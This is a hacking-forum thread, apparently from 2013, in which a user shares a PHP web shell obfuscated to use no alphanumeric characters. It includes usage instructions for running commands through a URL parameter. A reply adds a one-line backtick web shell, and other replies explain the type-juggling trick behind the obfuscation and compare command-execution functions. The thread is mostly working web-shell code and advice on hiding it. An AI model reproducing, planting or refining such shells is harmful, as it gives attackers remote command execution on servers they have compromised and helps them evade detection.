Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

PHP 

Simple PHP Shell I made [PHP OBFUSCATION]

So I've been messing arround with different methods of obfuscvation in php and stuff like that out of boredom lately.. So here is a very simple shell I wrote.

usage: /shell.php?c={exec_command_here}

Source:
PHP Code

<? /* Simple Shell by Tux. */
$_[+'']='';@$_=$_.'';@$__=++$__+(++$__);$__=$_[$__];
++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;
++$__;++$__;++$__;$___=$__;++$___;++$___;++$___;$__=$__.$___;$___=
$_[$__];++$___;++$___;++$___;$__=$__.$___;$___=$_[$__];++
$___;++$___;$____=$___;++$____;++$____;++$____;++$____;++$____;$___
=$___.$____;++$____;++$____;++$____;++$____;++$____;++$____;++$____;
++$____;++$____;++$____;$___=$___.$____;$__=+'';++$__;$____=
$__($_[$__]);$____=$____-++$__;$____=$___($____).$___(++$____+
(--$__));--$__;--$__;$__=$___[$__];++$__;$____=
$____.$__;++$__;++$__;++$__;++$__;++$__;$____=$____.
$__;$__=$__[$__];++$__;++$__;$____=$____.$__;++
$__;++$__;$__=$_[$__];++$__;++$__;++$__;++
$__;++$__;$____=$____.$__;$__=--$__;$__=$__
[$__];++$__;++$__;++$__;$__=$_[$__];$__=
$__($__)-1;$__=$___($__);$__=$__.$__.$__;
$__=+'';$__=$__.$___[$__];$__='_';$__=$_[+''];
++$__;++$__;++$__;++$__;++$__;++$__;
$__=$__.$__;$__=$__($__)-2;$__=$__.$___
($__);++$__;++$__;++$__;++$__;++$__;
++$__;++$__;++$__;++$__;++$__;++$__;
++$__;++$__;++$__;++$__;$__=$__.$___
($__);$____($__($_GET[$___[+'']]));?>

What do you all think of it?
<?php `{$_GET['c']}` ?>
That's still pretty hard to get unless you know what the fuck backticks do.
(Aug 3, 2013 04:52 PM)PigBacon Wrote:  <?php `{$_GET['c']}` ?>
That's still pretty hard to get unless you know what the fuck backticks do.

actually this doesn't use backticks tho? And the point of this was showing the obfuscation method :p

it uses exec() witch is the same but it spells it out.
Nice idea, never thought of using this as an obfuscation. Also takes some time to deobfuscate it. It kinda reminds me of the language 'Brainfuck'. :p
Want to contact me? Just leave me a message at [email protected]
Ofcourse OTR is preferred, but it isn't necessary!
(Aug 3, 2013 06:58 PM)NeoXiD Wrote:  Nice idea, never thought of using this as an obfuscation. Also takes some time to deobfuscate it. It kinda reminds me of the language 'Brainfuck'. :p

Well do you understand what exactly I did? For instance how did I get the word 'exec' stored in the variable $__ wishout using any alphanumeric letters?
Yes I do =P The last line makes it kinda obvious - a string contains the function name, which will be executed. And before you're doing a lot of fiddly string-building / character addition&subtraction, for example: 'a'++ --> 'b'

EDIT: Just curious, did you actually write a script to do that? Or is it 'hand written'?
Want to contact me? Just leave me a message at [email protected]
Ofcourse OTR is preferred, but it isn't necessary!
(Aug 3, 2013 07:54 PM)NeoXiD Wrote:  Yes I do =P The last line makes it kinda obvious - a string contains the function name, which will be executed. And before you're doing a lot of fiddly string-building / character addition&subtraction, for example: 'a'++ --> 'b'

EDIT: Just curious, did you actually write a script to do that? Or is it 'hand written'?

Hand written, but here's the big question for u, how did I get the alphabetic letters in there in the first place?
(Aug 3, 2013 08:03 PM)Ego Inc Wrote:  Hand written, but here's the big question for u, how did I get the alphabetic letters in there in the first place?

Well, it is done like this:

Code
$a[+'']=''; // Create array
$a=$a.''; // Saves 'Array' into a string
$b=4; // For example, 5th character (=> y)
var_dump($a[$b]); // Access single character, will return "y"

Clever way to hide a character, I must admit, and it takes some time to see through ;)

Regards
NeoXiD
Want to contact me? Just leave me a message at [email protected]
Ofcourse OTR is preferred, but it isn't necessary!
(Aug 3, 2013 08:23 PM)NeoXiD Wrote:  Well, it is done like this:

Code
$a[+'']=''; // Create array
$a=$a.''; // Saves 'Array' into a string
$b=4; // For example, 5th character (=> y)
var_dump($a[$b]); // Access single character, will return "y"

Clever way to hide a character, I must admit, and it takes some time to see through ;)

Regards
NeoXiD

Very nice 🙂 You must of seen this before then 😝
Thanks! And naah, not really, just a bit familiar with that chapter called "Type Juggling" in the PHP manual 🙂
Want to contact me? Just leave me a message at [email protected]
Ofcourse OTR is preferred, but it isn't necessary!
(Aug 3, 2013 08:33 PM)NeoXiD Wrote:  Thanks! And naah, not really, just a bit familiar with that chapter called "Type Juggling" in the PHP manual 🙂

Oh nice :p and yeah I've been having fun with it, had nothin to do at work lately so just been messing arround with php while there.
(Aug 3, 2013 04:59 PM)Ego Inc Wrote:  actually this doesn't use backticks tho? And the point of this was showing the obfuscation method :p

it uses exec() witch is the same but it spells it out.

Exec() sucks balls mang, why aren't you using passthru() or at least shell_exec()
(Aug 3, 2013 08:46 PM)LevelUp Wrote:  Exec() sucks balls mang, why aren't you using passthru() or at least shell_exec()

Its just a poc, lol :p But Im writing a much more sophisticated shell in this manor of obfuscation witch I will be releasing here shortly witch will have many measures with witch to try to execute system commands.
(Aug 3, 2013 08:46 PM)LevelUp Wrote:  Exec() sucks balls mang, why aren't you using passthru() or at least shell_exec()
why is passthru() and shell_exec() better than exec()? whats the difference,i thought they do basically the same thing
(Aug 4, 2013 01:44 PM)urez Wrote:  why is passthru() and shell_exec() better than exec()? whats the difference,i thought they do basically the same thing

They work in different ways I believe.


Possibly Related Threads...
Thread / Author Replies Views Last Post
[Javascript]  by HardRockJun 24, 2023 09:16 AM 0 146 Jun 24, 2023 09:16 AM
Last Post: HardRock
[Javascript]  by macfanApr 30, 2020 09:52 AM 9 285 Apr 30, 2020 09:52 AM
Last Post: MavenGradle
[Javascript]  by speckled_eggzDec 21, 2018 03:27 PM 16 908 Dec 21, 2018 03:27 PM
Last Post: speckled_eggz